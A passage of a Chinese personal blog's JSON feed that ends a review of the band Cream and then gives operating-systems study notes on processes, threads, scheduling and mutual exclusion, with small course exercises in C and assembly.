的录音室歌曲部分明显感觉到布鲁斯,迷幻的感觉都没有那么明显了。从布鲁斯的感觉中,脱胎出重摇滚的感觉。迷幻的感觉我觉得荡然无存了,取代的是偏流行的因素。\u003c/p\u003e\n\u003cp\u003e先说流行的感觉,因为我对这个没有那么深的感觉。\u003cem\u003eWhite Room\u003c/em\u003e 气势宏大,\u003cem\u003eThose Were the Days\u003c/em\u003e 节奏欢快,\u003cem\u003eAs You Said\u003c/em\u003e 十分伤感抒情。歌曲的风格已经很复杂,而且流行的感觉了。这个对第四张专辑 \u003cem\u003eGoodbye\u003c/em\u003e 的三首歌都适用。\u003c/p\u003e\n\u003cp\u003e再说重摇滚的感觉,我前面说过的很多布鲁斯调子都是几个音,只要加重一下,重的感觉立马就出来了。比如说 \u003cem\u003ePolician\u003c/em\u003e 这首歌,上来的五个音虽然不是那么布鲁斯,但是绝对是很重的,布鲁斯的痕迹还是在的,而且吉他独奏也是明显的脱胎自布鲁斯。而这张专辑的两首布鲁斯翻唱 \u003cem\u003eSitting on the Top of the World\u003c/em\u003e 和 \u003cem\u003eBorn Under A Bad Sign\u003c/em\u003e,也是十分的重。我曾经看有人说过重金属脱胎自布鲁斯,现在我是有点明白了。(没错,说的就是 Led Zeppelin)\u003c/p\u003e\n\u003cp\u003e实际上,听他们的现场,基本就是这个感觉。他们也是因为第三张专辑 \u003cem\u003eWheels of Fire\u003c/em\u003e 和第四张专辑 \u003cem\u003eGoodbye\u003c/em\u003e 的现场演奏部分就是这种感觉。很重,很快,很布鲁斯。强烈推荐 \u003cem\u003eSpoonful\u003c/em\u003e 的现场演奏版,绝对能听得很爽。\u003c/p\u003e\n\u003ch2 id=\"我还有啥要说的\"\u003e我还有啥要说的\u003c/h2\u003e\n\u003cp\u003e讲道理,要不是这个乐队有个很出名的吉他手,现在人估计没有多少人会注意到这个乐队。但作为六十年代末期比较出名的乐队之一,他们迷幻又重型的风格,让他们在摇滚乐的形成方面起到了很大的作用。他们录音室专辑除了第二张,其他的并没有那么好。但是他们的现场,绝对是经典中的经典。\u003c/p\u003e\n\u003ch2 id=\"扩展观看\"\u003e扩展观看\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.discogs.com/artist/229621-Cream-2\" target=\"_blank\" rel=\"noopener\"\n \u003eDiscogs 上面的乐队信息\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1xF411T75L\" target=\"_blank\" rel=\"noopener\"\n \u003e这个乐队的纪录片\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Zy4y1y729\" target=\"_blank\" rel=\"noopener\"\n \u003e本乐队鼓手的纪录片\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://github.com/BenderBlog/Practise-Programs/tree/main/CPP/exp4\" target=\"_blank\" rel=\"noopener\"\n \u003e那个大作业\u003c/a\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/cream-band-review.html"},{"title":"操作系统:线程","time":"2022-04-09T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/XwlnJjUEqyDB6WZ.png\" alt=\"Featured image of post 操作系统:线程\" /\u003e\u003ch2 id=\"进程概要\"\u003e进程概要\u003c/h2\u003e\n\u003ch3 id=\"栈区是否是程序的一部分\"\u003e栈区是否是程序的一部分?\u003c/h3\u003e\n\u003cp\u003e不是,栈区是进程的一部分,而程序不是进程。(什么咬文嚼字233)\u003cbr\u003e\n概念:进程是正在运行的程序。包括程序计数器,栈区和数据区。\u003c/p\u003e\n\u003ch3 id=\"进程创建的四种情况是啥\"\u003e进程创建的四种情况是啥?\u003c/h3\u003e\n\u003cp\u003e系统初始化,用户请求,系统调用,批处理初始化。\u003c/p\u003e\n\u003ch2 id=\"父子进程\"\u003e父子进程\u003c/h2\u003e\n\u003ch3 id=\"fork-创建子进程-和-exec-执行-的区别\"\u003eFork (创建子进程) 和 Exec (执行) 的区别\u003c/h3\u003e\n\u003cp\u003e我觉得括号里面说的很明白了2333\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFork: 子进程和父进程的代码区,堆栈区是相同的。\u003c/li\u003e\n\u003cli\u003eExec: 在同一个进程中,用程序镜像替换这个进程(使用执行程序的程序段和代码段覆盖)。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"命令行shell如何执行用户指令\"\u003e命令行(Shell)如何执行用户指令?\u003c/h3\u003e\n\u003cp\u003e用 UNIX 系统举例 (详情见书 P88 最后一段)\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e读取并解析字符串,找到程序\u003c/li\u003e\n\u003cli\u003e使用 \u003ccode\u003efork\u003c/code\u003e/\u003ccode\u003eexec\u003c/code\u003e 系统调用生成子进程\u003c/li\u003e\n\u003cli\u003e子进程使用 \u003ccode\u003eexecvp\u003c/code\u003e 系统调用,使用执行程序的程序段和代码段覆盖。\u003c/li\u003e\n\u003cli\u003e父进程进入等待状态。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e概念:进程的状态有准备态(Ready),等待态(Waiting),运行态(Running)\u003c/p\u003e\n\u003ch3 id=\"读这段代码说最终有几个进程捏\"\u003e读这段代码,说最终有几个进程捏?\u003c/h3\u003e\n\u003cp\u003e先告诉你有四个。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"kt\"\u003epid_t\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003epid\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003efork\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/8csaxz47l62pjKQ.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/8csaxz47l62pjKQ.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"Let\u0026rsquo;s paint a tree, shall we?\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eLet’s paint a tree, shall we?\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch2 id=\"深入进程\"\u003e深入进程\u003c/h2\u003e\n\u003ch3 id=\"进程终结时候发生了啥\"\u003e进程终结时候发生了啥?\u003c/h3\u003e\n\u003cp\u003e移除所有队列,释放占用的系统资源(内存等),然后返回操作系统。有可能出现僵尸进程,得让父进程来终结:-P\u003c/p\u003e\n\u003cp\u003e进程终结状态如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e程序自愿退出:执行完了/遇到一般错误\u003c/li\u003e\n\u003cli\u003e被迫退出:进程遇到严重错误/被其他进程发信号退出\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"pcb-不是电路板\"\u003ePCB 不是电路板!\u003c/h3\u003e\n\u003cp\u003ePCB (Process Control Block):进程控制块。重点包括以下东西:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e进程状态\u003c/li\u003e\n\u003cli\u003e程序计数器\u003c/li\u003e\n\u003cli\u003eCPU寄存器\u003c/li\u003e\n\u003cli\u003eCPU调度信息\u003c/li\u003e\n\u003cli\u003e内存管理信息\u003c/li\u003e\n\u003cli\u003eAccounting information\u003c/li\u003e\n\u003cli\u003e输入输出状态信息\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e注意:第六条直译为会计信息。我有两个理解:进程状态信息 / 用户信息\n(我的上帝啊,谁能给我本翻译得十分不错的 Modern Operating System 啊)\u003c/p\u003e\n\u003ch2 id=\"线程概要\"\u003e线程概要\u003c/h2\u003e\n\u003ch3 id=\"线程提出的目的\"\u003e线程提出的目的\u003c/h3\u003e\n\u003cp\u003e对于操作系统来说,中断或者切换一个进程的代价太高了。\u003c/p\u003e\n\u003ch3 id=\"弹出式线程的定义\"\u003e弹出式线程的定义\u003c/h3\u003e\n\u003cp\u003e操作系统收到一个信息后,创建一个线程来处理信息。\u003cbr\u003e\n概念:进程分为用户态线程(管理归进程),系统态线程(管理归操作系统),混合态进程,以及弹出态进程\u003c/p\u003e\n\u003ch3 id=\"用户态线程的优劣\"\u003e用户态线程的优劣\u003c/h3\u003e\n\u003ch4 id=\"优点\"\u003e优点\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e线程调用很快。\u003c/li\u003e\n\u003cli\u003e线程可以自行定义调度算法。\u003c/li\u003e\n\u003cli\u003e减轻内核调用线程压力。(内核看不到用户态线程)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"缺点\"\u003e缺点\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e线程无法调用阻塞式系统调用。(毕竟只能访问进程里面的玩意)\u003c/li\u003e\n\u003cli\u003e没有时钟,除非运行完退出,其他线程无法运行。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"调度算法\"\u003e调度算法\u003c/h2\u003e\n\u003ch3 id=\"调度发生的时机\"\u003e调度发生的时机\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e新进程的创建\u003c/li\u003e\n\u003cli\u003e进程的退出\u003c/li\u003e\n\u003cli\u003e某进程需要IO操作,\u003c/li\u003e\n\u003cli\u003eIO设备申请CPU中断 (称之为IO中断)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"一道计算题\"\u003e一道计算题\u003c/h3\u003e\n\u003cp\u003eBy Multilevel Quene Fixed Priority scheduling algorithm, there are 3 priority quenes and 7 processes with following information. Draw the CPU scheduling Gantt chart and complete the following table for the give processes information.\u003c/p\u003e\n\u003cp\u003e通过多层级队列混合优先级 (Multilevel Quene Fixed Priorty) 调度算法,总共有三个优先级队列和七个进程,信息如下。画出 CPU 调度甘特图,然后根据信息填写最下面的表格。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ve12iqCUrXcMGVs.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ve12iqCUrXcMGVs.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/eQOM1fvgwrCto2h.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/eQOM1fvgwrCto2h.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/JQOcHP8YTVKvbpW.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/JQOcHP8YTVKvbpW.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/J6dXQD7YcPlbizB.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/J6dXQD7YcPlbizB.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch2 id=\"进程间通信\"\u003e进程间通信\u003c/h2\u003e\n\u003ch3 id=\"基础概念\"\u003e基础概念\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e竞争条件 (race condition) :多个进程间读取一个数据。\u003c/li\u003e\n\u003cli\u003e临界区 (critical region):要与其他进程共享数据区域。\u003c/li\u003e\n\u003cli\u003e互斥访问 (mutual exclusion) 和忙等待 (busy waiting)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"互斥访问方案原则\"\u003e互斥访问方案原则\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e任意两个进程不能同时在临界区。\u003c/li\u003e\n\u003cli\u003e不对 CPU 速度和数量做出假设。\u003c/li\u003e\n\u003cli\u003e临界区外运行进程不能阻塞其他进程。\u003c/li\u003e\n\u003cli\u003e不要让进程进入临界区前无限制等待。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"阅读代码填空\"\u003e阅读代码,填空\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-asm\" data-lang=\"asm\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nl\"\u003eenter_region:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nf\"\u003eMOVE\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eXCHG\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003eLOCK\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eCMP\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"c1\"\u003e#1;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eJE\u003c/span\u003e \u003cspan class=\"no\"\u003eOK\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eCALL\u003c/span\u003e \u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eJMP\u003c/span\u003e \u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"nl\"\u003eok:\u003c/span\u003e \u003cspan class=\"nf\"\u003eRET\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nl\"\u003eleave_region:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nf\"\u003eMOVE\u003c/span\u003e \u003cspan class=\"no\"\u003eLOCK\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"nf\"\u003eRET\u003c/span\u003e\u003cspan class=\"c1\"\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e根据 \u003ccode\u003eCMP REGISTER,#1; JE OK; ok: RET;\u003c/code\u003e 可分析出 \u003ccode\u003e#1\u003c/code\u003e 是没上锁,\u003ccode\u003e#0\u003c/code\u003e 是上锁了。\u003cbr\u003e\n\u003ccode\u003eXCHG\u003c/code\u003e 可以互换两个寄存器的值,如果第一个空填入的是 \u003ccode\u003e#1\u003c/code\u003e ,那么无论如何,判断都是没上锁。所以第一个空填入 \u003ccode\u003e#0\u003c/code\u003e 。\u003cbr\u003e\n第二个和第三个空是忙等待的东西,分别填的是 \u003ccode\u003ethread_yield\u003c/code\u003e (找另外一个进程)和 \u003ccode\u003eenter_region\u003c/code\u003e 。\u003cbr\u003e\n第四个空填入 \u003ccode\u003e#1\u003c/code\u003e ,用完了就解锁。\u003c/p\u003e\n\u003cp\u003e概念 互斥访问策略\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e关闭中断。(单 CPU 有效)\u003c/li\u003e\n\u003cli\u003e锁变量与忙等待。\u003c/li\u003e\n\u003cli\u003e严格轮换。\u003c/li\u003e\n\u003cli\u003ePeterson 算法。\u003c/li\u003e\n\u003cli\u003e汇编 \u003ccode\u003eTSL\u003c/code\u003e 指令。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"严格轮换机制作业\"\u003e严格轮换机制作业\u003c/h3\u003e\n\u003cp\u003e请修改附件中的代码,实现strict alternation机制(注要能够运行)。此外需要说明程序中那个部分是关键区,以及它为什么是关键区。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;pthread.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;unistd.h\u0026gt; // For sleep().\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Critical region, because both threads needs to access this.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Lock Variable\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eturn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Thread 2.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"nf\"\u003eth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/*loop*/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nf\"\u003esleep\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Access Critical Region\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;a=%d haha\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"c1\"\u003e// Stop access.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Change mark.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003epthread_t\u003c/span\u003e \u003cspan class=\"n\"\u003emyth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003epthread_create\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan 